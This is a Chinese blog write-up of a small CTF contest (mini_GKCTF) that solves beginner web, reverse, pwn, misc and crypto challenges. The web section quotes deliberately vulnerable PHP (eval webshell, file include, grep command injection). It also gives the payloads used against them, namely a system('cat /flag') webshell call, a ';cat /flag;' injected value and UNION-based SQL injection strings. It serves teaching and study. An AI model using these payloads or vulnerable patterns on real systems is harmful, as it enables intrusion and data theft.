mini_GKCTF
煤矿路口西 Lv4

写在前面

浅薄笔者经过几个月的学习,misc和crypto的部分算是有所收获,web和re还不能算是入门,以此篇记录此前一次小比赛。并在10月19日,比赛正式开始后进行一次加更。

签到

签到

web

才刚进校园就想做毕设了,你这也太深谋远虑了嗷,先看看憨憨学长的毕设算了:毕设首页

curl + u查看源码

web1

后来,憨憨学长恼羞成怒再次修改了自己的毕设首页:毕设首页

同上题,查看源码后进入http://172.17.135.14:8002/images/highlight.flag.js,得到flag.

web2

PHP一定是世界上最好的语言!

<?php
highlight_file(__File__);
$Ginkgo=$_GET["Ginkgo"];
$Vigorous=$_GET["Vigorous"];
if ($Ginkgo == "Mini_Ginkgo_Wonderful")
{
print("好!冲冲冲~!");
if($Vigorous == "N1D1W4Dul")
{
system("cat /flag.txt");
}

}
else
{
print("别把别把别把");
}
?>

get传参得flag。 web3

在那个晚上,有一个男人,叫w4nder,他看带🔥们都打累了,给大家整点有趣的游戏,通关就得flag~ 题目链接

玩游戏得flag

Ginkgo的易烊千玺说他最喜欢的就是flag和木马了,现在他都给你了:题目链接

<?php
highlight_file(__File__);
//你知道什么是一句话木马🐎?
$W4nder=$_POST["W4nder"];
$Webshell=$_POST["Webshell"];
if ($W4nder == "THE_Jackson_Yi_0F_G1nkgo")
{
print("啊这,这你都知道");
eval($Webshell);
}
else
{
print("爬");
}
?>

POST传参

W4nder=THE_Jackson_Yi_0F_G1nkgo&Webshell=system('cat /flag');

得flag.

<?php
highlight_file(__File__);
//我把flag放在根目录下啦,是linux系统嗷
$file=$_GET["file"];
$number=$_GET["number"];
$number1=rand(3,44);
echo $number1;
echo "\n";
if($number == $number1)
{
echo "我丢,你是赌怪🐎?";
include($file);

}
else
{
echo "玩游戏,我最喜欢梭哈了";
}
?>

考察了GET传参和文件包含,输入命令

?number=3&file=/flag

number为3到44之间的随机数,可以任意输入,接下来就是看运气了😂

本题为CTFHUB中Web-Web前置技能-SQL注入中字符型注入的类似题。先回顾了一遍原题,比较后发现两题在注入过程中仅引号部分有区别.

整理思路

  • 数据库名
'123' union select database(),2 #'

得数据库名easy_sql

  • 表名
'123' union select group_concat(table_name),3 from information_schema.tables where table_schema='easy_sql' #'

得存在两个表flag,users

  • 字段名
'123' union select group_concat(column_name) ,3 from information_schema.columns where table_name='flag' #'

得字段名flag

  • 获取flag
'123' union select flag,3 from easy_sql.flag #'

[💧JSBUG💧]

💧得得是一个爱老婆的男人,有一天他的爱人被😈抓走了, 💧得得为了拯救老婆,决定穿上铠甲,踏上拯救老婆的道路, 💧得得遇到了第一个怪物就是史莱姆,💧得得觉得🔪太慢了,想另辟蹊径 你能帮他想想办法吗?题目链接

web8

已知经验值应该达到10000,而每次只能打1-9只史莱姆,通过更改源码中maxlength=1为maxlength=100000等,回车后直接练级,挑战,得flag。

页面提示备份文件,dirsearch扫描后发现存在www.zip,下载后得到网页源码

<?


$key = $_REQUEST["Ginkgo"];
if($key != "")
{
$ccc=passthru("grep -i $key fl.txt");
print_r($ccc);
}
else
{
echo "多想想备份文件";
}

?>

简单的PHP代码,不过在应该给Ginkgo(key)赋什么值却让我犯了难。查询了grep命令,尝试Ginkgo=flag,也只得到满屏的假flag。

后学到了隔离(或许不叫这个名),得知应该输入的值为

Ginkgo=;cat /flag;

完整命令就变成了

grep -i ; cat /flag; f1.txt

关键点就在于这几个“;”,使得整个命令只留下了我们想要的"cat /flag;"

[😀👊的爱情故事]

一段惊心动魄的爱情天🐕故事。题目链接

机器人协议,搜索/robots.txt文件,得

Disallow:/i_love_robot.php

跳转到/i_love_robot.php,得到一个新的后台管理页面,根据首页文字提示,已知密码为20190821,那账号是什么呢

盲猜admin,对了🙂

re

[GKdoor]

public boolean checkPassword(String password) {
return password.length() == 32 &&
password.charAt(26) == '7' &&
password.charAt(20) == '7' &&
password.charAt(39) == '2' &&
password.charAt(3) == '8' &&
password.charAt(15) == '9' &&
password.charAt(8) == '6' &&
password.charAt(23) == 'f' &&
password.charAt(4) == '6' &&
password.charAt(5) == '5' &&
password.charAt(30) == 'e' &&
password.charAt(31) == '2' &&
password.charAt(32) == '8' &&
password.charAt(33) == 'a' &&
password.charAt(34) == '9' &&
password.charAt(41) == 'a' &&
password.charAt(10) == '7' &&
password.charAt(11) == '9' &&
password.charAt(12) == '2' &&
password.charAt(1) == '3' &&
password.charAt(19) == '0' &&
password.charAt(42) == '9' &&
password.charAt(43) == '9' &&
password.charAt(13) == '0' &&
password.charAt(14) == '6' &&
password.charAt(17) == '3' &&
password.charAt(18) == '2' &&
password.charAt(21) == '7' &&
password.charAt(22) == '6' &&
password.charAt(2) == '6' &&
password.charAt(27) == 'e' &&
password.charAt(28) == '2' &&
password.charAt(7) == 'e' &&
password.charAt(37) == 'f' &&
password.charAt(16) == '7' &&
password.charAt(6) == '6' &&
password.charAt(24) == '7' &&
password.charAt(25) == '7' &&
password.charAt(0) == '4' &&
password.charAt(40) == '8' &&
password.charAt(29) == '0' &&
password.charAt(35) == '9' &&
password.charAt(36) == '6' &&
password.charAt(38) == 'e' &&
password.charAt(9) == '5' &&;
}

根据下标转十六进制即可

[CheckPlus]

你能找到是什么加密🐎

拖入IDA,找到可疑字符串

ZmxhZ3tOb3dZb3VMZWFybmVkUmV2ZXJzZX0=

base64解密得flag.

[2048]

玩游戏得flag

[assembly]

0070210C: 66 6c 61 67 7b 61 73 6d 69 73 66 75 6e 7d

十六进制转字符

f l a g { a s m i s f u n }

pwn

[easy_nc]

(netcat是啥?网络猫? 王队大姐姐:好!冲冲冲!nc 39.105.231.146 8013)

nc直接得flag

[hard_pwn]

(所有题目统一的libc库嗷这道题目可能是最难的pwn题目嗷39.105.231.146:8002)

没有回显,奇怪,随便输了点东西,有返回。输入cat flag。得。

[🍑姐姐的PWN学习之路]

🍑姐姐学习pwn已经五天了,她终于学到了数组越界。 有一天,一个男的突然加了🍑姐姐,主动发消息要追求🍑姐姐, 🍑姐姐鼓鼓嘴,怎么可能这么容易就追到了呢, 先学会数组越界再说吧! (听说这是专门給luoluo姐设置的flag嗷) 39.105.231.146:8003

随便输入多个字符,发现

ooooooooooooooooooooooooooooooools
b=>ls

但仍然没有反应,打开附件,观察

puts("please pwn me!!!");
while ( 1 )
{
read(0, &buf, 0x100uLL);
if ( (_BYTE)v13 == 99 && BYTE1(v13) == 100 && v21 == 97 && HIBYTE(v8) == 102 && BYTE3(v6) == 119 )
break;
printf("b=>%s\n", &v13, buf, v5, v6);
puts("you need ' b=>cd ' ");
}
printf("tql", &buf, buf, v5, v6, v7, v8, v9, v10, v11, *(_QWORD *)&v12);
system("/bin/sh");
return 0;

(或根据题干,也可得知应传入cd(等)),可得flag

I need b=>cd
oooooooooooooooooooooooooooooooocdef2
tql

flag
/bin/sh: 3: flag: not found
cat /flag
flag{luoluo_is_so_beatiuful}

misc

有手就行

[有手就行] 水平翻转得flag

真实的压缩包

[真实的压缩包]

真实的压缩包1

虚假的压缩包

[虚假的压缩包]

虚假的压缩包1

虚假的压缩包2

虚假的压缩包3

有眼就行

[有眼就行]

有眼就行

追踪他的密码

[追踪他的密码]

追踪他的密码

hello hex

[hello hex1]

hello hex1

hello hex2

baby流量分析

[baby流量分析]

baby流量分析

郭哥的mimi

[郭哥的mimi]

半夜三点,郭哥得知赌神已到,忍不住赌瘾大发,和赌神在赌场中疯狂梭哈,结果把flag掉到赌场里,被🍊⭐哥抓个正着,现在🍊⭐哥把郭哥的流量监控发出来了,不知道你能找到flag吗

丢尽wireshark里找了半天,终于找到一个POST传参的流量,打开得flag

flag=flag%7B02051125340512_Ginkgo%7D

URL解码后得正确flag。

PixelJihad

[PixelJihad]

你需要一双善于发现的眼睛,和一个善于发现的脑子,更需要一对善于发现的手,这是你与生俱来的优势,发现图片里隐藏的信息吧!

搜索文字题目,得在线网站

需要密码。既然是图片,拖进winhex里找找叭,文件尾有发现:Y3RmaXNmdW4=

base64解密后得ctfisfun。

两者结合,得flag.

阿巴阿巴

[阿巴阿巴]

emmm没啥好说的,动图分离就得到一张郭哥的表情包hhh

crypto

crypto1

[注入哥的爱情回执]

注入哥给喜欢的女孩表白了! 女孩害羞地说 “ -.–/…/.-…/.----/–…/…–.-/-.–/-----/…-/…–.-/.-/.-./…-/…–.-/.-/-./…–.-/–./-----/-----/-…/…–.-/–./.-/-.–”, 注入哥不知道是什么意思,懊恼极了,你能帮助他吗? 提交为flag{*}

摩斯电码解密

[莱×🌂兄弟]

luoluo说: “S19aMHhzX28xem1tX3ZzYyE=” 轩成哥还说:“coco” 不会吧不会吧,不会有人不知道这是什么意思吧。

base64解密+以coco为密钥的维吉尼亚

[中华文化]

中文电码 00225478242905530590112947373234

中文电码解密

[文化人]

新佛曰:心即是是聞莊修如聞愍亦嚤是莊摩婆塞阿念般宣是怖訶須是薩慧怖阿是色諦聞若叻羅缽菩般若斯嘇咤怖寂修般吶修訶願嚴怖訶宣宣吽寂我彌怖色如諸如諸彌伏亦菩般斯婆菩伏諦斯兜羅阿般降蜜菩劫念隸所怖摩心如陀咒菩訶缽諸慧菩陀薩諦囉心薩般嘚怖塞喃陀亦尊怖愍咒隸心諸宣僧怖缽咤願咒亦諸斯喃嘇寂愍諸叻尊迦喃祗怖隸夷祗訶怖咒般吶蜜僧隸伏阿哆祗迦聞須斯聞嚩如嘚兜須即陀吽嚤如宣羅兜降降婆哆夷蜜怖耨嚴伏諸隸彌耨若兜我怖陀嘚婆哆慧所怖莊隸即諦修訶薩怖嚩兜菩迦宣諦哆怖如如囑囑

新佛曰得:

公正公正公正民主和谐文明和谐民主公正公正公正自由和谐法治公正自由文明友善法治和谐富强和谐法治和谐法治和谐文明文明诚信和谐和谐自由公正自由和谐民主和谐自由文明诚信和谐和谐爱国和谐公正公正民主和谐平等文明诚信和谐和谐自由公正平等公正平等公正自由和谐爱国公正文明公正民主和谐敬业和谐和谐和谐和谐公正和谐和谐敬业

社会主义核心价值观解密得flag.

[天干地支]

天干地支加甲子(X+60)转ASCII得flag

[Biometric list]

我在一片插有石碑的海滩上醒来,背后是幽深的海,抬头是晨光和高山,我飞过蓝色的石台,蝴蝶围绕,冲天而起,石碑前的先祖告诉我,你需要一个Biometric list来获取漂亮的flag。

该题与前不久遇到的一道题类似,生物特征列表(PGP),通过搜索附件中的关键词可得到提示,转16进制后得flag

[魏✌呐和阿①爱丝]

江水哥说你只要解出这个题,他就带你去浪漫Vienna M:U2FsdGVkX18S8k9WSjCOYu7omOyRJYSWvopJOt3m4aJ7n+RjtsfKg3bvWuD3wk/U

阿①爱丝谐音AES,在线网站解密

[啪嗒啪嗒啪嗒]

我看见小矮人们手拉手拨弹竖琴, 我看见大高个们在树洞下烤螃蟹, 我还点亮了很多旅人, 却只能看到他们飞离的尾羽, 我不想再做孤狼, 我想认识新朋友! 于是低下头看着键盘,敲打着: “31 91 34 31 33 61 61 13 94 51 34 51 81 94 41 21 61 91 94 54 32 81 32 94 11 71 32 31 13 34 33 51 21 43 71 34” 这是我可爱的小键盘~ 1 2 3 4 5 6 7 8 9 q w e r t y u i o a s d f g h j k l z x c v b n m p - (得到的明文带上flag{}包裹提交)

对应即可

[王可可大讲堂]

王可可老师: “1977年,Ron Rivest、Adi Shamir、Leonard Adleman 三个老哥提出了一种加密算法,你知道是什么吗?”

已知eqpc,

e = 65537
p = 104046835712664064779194734974271185635538927889880611929931939711001301561682270177931622974642789920918902563361293345434055764293612446888383912807143394009019803471816448923969637980671221111117965227402429634935481868701166522350570364727873283332371986860194245739423508566783663380619142431820861051179
q = 140171048074107988605773731671018901813928130582422889797732071529733091703843710859282267763783461738242958098610949120354497987945911021170842457552182880133642711307227072133812253341129830416158450499258216967879857581565380890788395068130033931180395926482431150295880926480086317733457392573931410220501
c = 4772758911204771028049020670778336799568778930072841084057809867608022732611295305096052430641881550781141776498904005589873830973301898523644744951545345404578466176725030290421649344936952480254902939417215148205735730754808467351639943474816280980230447097444682489223054499524197909719857300597157406075069204315022703894466226179507627070835428226086509767746759353822302809385047763292891543697277097068406512924796409393289982738071019047393972959228919115821862868057003145401072581115989680686073663259771587445250687060240991265143919857962047718344017741878925867800431556311785625469001771370852474292194

脚本得:

import gmpy2
from libnum import s2n

c=gmpy2.mpz(4772758911204771028049020670778336799568778930072841084057809867608022732611295305096052430641881550781141776498904005589873830973301898523644744951545345404578466176725030290421649344936952480254902939417215148205735730754808467351639943474816280980230447097444682489223054499524197909719857300597157406075069204315022703894466226179507627070835428226086509767746759353822302809385047763292891543697277097068406512924796409393289982738071019047393972959228919115821862868057003145401072581115989680686073663259771587445250687060240991265143919857962047718344017741878925867800431556311785625469001771370852474292194)
p = gmpy2.mpz(104046835712664064779194734974271185635538927889880611929931939711001301561682270177931622974642789920918902563361293345434055764293612446888383912807143394009019803471816448923969637980671221111117965227402429634935481868701166522350570364727873283332371986860194245739423508566783663380619142431820861051179)
q = gmpy2.mpz(140171048074107988605773731671018901813928130582422889797732071529733091703843710859282267763783461738242958098610949120354497987945911021170842457552182880133642711307227072133812253341129830416158450499258216967879857581565380890788395068130033931180395926482431150295880926480086317733457392573931410220501)
e=gmpy2.mpz(65537)
phi_n=(p-1)*(q-1)
d=gmpy2.invert(e,phi_n)
m=pow(c,d,p*q)
print "plaintext:"
print hex(m)[2:].decode('hex')

得flag.

[我真的不知道他是哪方面的题目了]

婷羽姐说这是密码学,俺做了一遍发现是MISC。 婷羽姐说CRYPTO和MISC不分家。百度和PS是基操哇。

附件名为base,base64解码,base64还可以转图片。

转出了残缺的二维码,搜索已知的二维码头,PS后可得flag。

[同音之旅]

我穿上漂亮的衣服继续在海滩上行走,路过的旅人告诉我,再往前走是云海,你需要飞上20层楼的高度,拿到从天空王国坠落的5个星光,前往钟声响荡的神殿,与4位先祖在星光长河里相逢,带上你收集的钥匙与先祖换取flag吧。 13972421090544136056524896 (得到的明文加上flag{}包裹提交)

555,丹姐果然每次都刷新我的知识面http://www.atoolbox.net/Tool.php?Id=919,结合文字,在线解密。

[去冒险吧!]

嘿!在微风吹拂的云野,带着我的白蜡烛出发,围着大高个转圈,他就拉上手带着我飞过栅栏,冲下浮空岛也好,鲲鳐也跟着我们叫唤,冲上瀑布吧,水帘也拦不住想去冒险的心情,而他却突然停止滑翔,带着斗篷上蔚蓝的泛光,缓缓在一座石碑前落下,一个骑士跪道出凯撒大帝的威名。l3l818r544j}gg-glm24j0{1g-57-kik1i10l46-jh

根据提示,栅栏+凯撒,关键点在于,凯撒加密不对标点符号进行处理,故在尝试栅栏时“{}”应分别在第五位和最后一位,再进行凯撒密码一把梭,得flag。

[先祖的教诲]

迷茫的我走在雨帘里,渐渐斗篷褪了色,渐渐步伐不在充满活力,渐渐没了飞翔的兴趣,我在一座亭子里停下,跪坐祈祷的先祖看到我,如是说道————新佛曰:修即聞羅羅莊修如塞愍隸囉兜若念色心菩色空婆即嘇降慧念空兜咤薩慧彌訶彌如迦嚤心寂叻菩諸莊須缽善阿吽嘚宣若陀善劫隸嚴陀善慧摩蜜塞念祗陀隸吽斯迦慧心耨訶諸哆叻色喃所咤善訶亦嚤吽即叻訶闍尊寂寂莊慧降迦降彌寂願降蜜耨善劫即吽祗訶囉心莊祗婆嘇兜僧愍諦慧劫羅寂訶是修嚴婆諸須莊婆薩若喃喃迦須降咒如尊喼慧宣心隸祗諸喃祗波諦咤喼囉咤色嘚夷喼劫陀善菩降彌嘚諸叻嘇阿波嘚嘚是修喃諦闍慧祗缽耨我慧若斯善僧缽即叻修祗宣嚩婆菩斯祗若兜兜菩嘚亦嘚嚤婆是寂須善陀即嚤摩薩所善心訶諦如闍斯缽喼訶哆蜜寂伏空我訶彌兜願尊叻願斯善嘚夷薩夷慧嚴亦闍闍阿願聞阿吽阿囉摩眾嚤心迦闍蜜塞伏喼哆吶婆婆塞菩宣咒聞念願劫咒咒斯咤菩兜須吶聞慧願阿諸咒咤念哆念咒亦嘇莊叻善諸聞諸菩寂吽宣菩莊彌訶斯彌諦阿善聞喃願色兜嚩色夷念嘚吽阿空摩所諸吽斯彌伏諸念摩塞陀寂羅祗念叻祗斯斯陀夷伏菩菩慧哆空喼如是念哆菩降阿哆我眾色劫聞亦若訶嚤嚴波叻劫塞咒即耨咤善伏莊哆般諦宣斯宣蜜咤須咤嚴隸是訶塞色塞聞所善迦叻嚩須迦吶兜兜慧迦是諦尊願嘚色劫阿心修嚴諸心嚴囉塞囉善訶陀色迦塞修諸咒須嚩諦嚤善囑

新佛曰解密+佛曰解密,得flag。

个人觉得这道题与前面考点部分重复,送分题。

  • 本文标题:mini_GKCTF
  • 本文作者:煤矿路口西
  • 创建时间:2020-09-15 21:58:02
  • 本文链接:http://www.mklkx.xyz/2020/09/15/mini-GKCTF/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!